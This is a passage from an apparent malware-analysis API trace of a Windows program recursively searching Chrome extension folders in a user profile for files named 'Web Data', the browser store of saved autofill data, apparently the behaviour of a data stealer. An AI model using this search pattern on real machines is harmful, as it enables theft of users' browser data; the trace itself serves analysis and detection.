Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" [0056.350] LocalFree (hMem=0x2e0108) returned 0x0 [0056.350] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned 133 [0056.350] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned 133 [0056.350] lstrlenA (lpString="\\*.*") returned 4 [0056.350] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.350] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar" [0056.350] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*.*" [0056.350] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.350] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.350] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.350] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.350] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.351] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.351] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.351] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.351] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.351] LocalFree (hMem=0x2e0328) returned 0x0 [0056.351] LocalFree (hMem=0x2e0218) returned 0x0 [0056.351] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.351] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.351] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.351] lstrlenA (lpString="\\") returned 1 [0056.351] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.351] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.351] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.351] lstrlenA (lpString="bg") returned 2 [0056.351] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.351] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.351] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" [0056.351] LocalFree (hMem=0x2e0108) returned 0x0 [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned 133 [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned 133 [0056.351] lstrlenA (lpString="\\*.*") returned 4 [0056.351] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.351] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg" [0056.351] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*.*" [0056.351] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.351] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.351] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.351] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.351] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.351] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.351] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.351] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.351] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.351] LocalFree (hMem=0x2e0328) returned 0x0 [0056.351] LocalFree (hMem=0x2e0218) returned 0x0 [0056.351] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.351] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.351] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.351] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.351] lstrlenA (lpString="\\") returned 1 [0056.352] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.352] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.352] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.352] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.352] lstrlenA (lpString="ca") returned 2 [0056.352] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.352] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.352] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca" [0056.352] LocalFree (hMem=0x2e0108) returned 0x0 [0056.352] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned 133 [0056.352] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned 133 [0056.352] lstrlenA (lpString="\\*.*") returned 4 [0056.352] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.352] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca" [0056.352] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*.*" [0056.352] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.354] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.354] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.354] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.354] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.354] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.354] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.354] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.354] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.354] LocalFree (hMem=0x2e0328) returned 0x0 [0056.354] LocalFree (hMem=0x2e0218) returned 0x0 [0056.354] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.354] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.354] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.354] lstrlenA (lpString="\\") returned 1 [0056.354] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.354] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.354] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.354] lstrlenA (lpString="cs") returned 2 [0056.354] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.354] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.354] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs" [0056.354] LocalFree (hMem=0x2e0108) returned 0x0 [0056.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned 133 [0056.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned 133 [0056.354] lstrlenA (lpString="\\*.*") returned 4 [0056.354] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.354] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs" [0056.354] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*.*" [0056.354] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.354] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.354] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.354] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.354] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.354] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.354] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.354] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.355] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.355] LocalFree (hMem=0x2e0328) returned 0x0 [0056.355] LocalFree (hMem=0x2e0218) returned 0x0 [0056.355] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.355] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.355] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.355] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.355] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.355] lstrlenA (lpString="\\") returned 1 [0056.355] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.355] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.355] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.355] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.355] lstrlenA (lpString="da") returned 2 [0056.355] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.355] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.355] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da" [0056.355] LocalFree (hMem=0x2e0108) returned 0x0 [0056.355] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned 133 [0056.355] lstrlenA 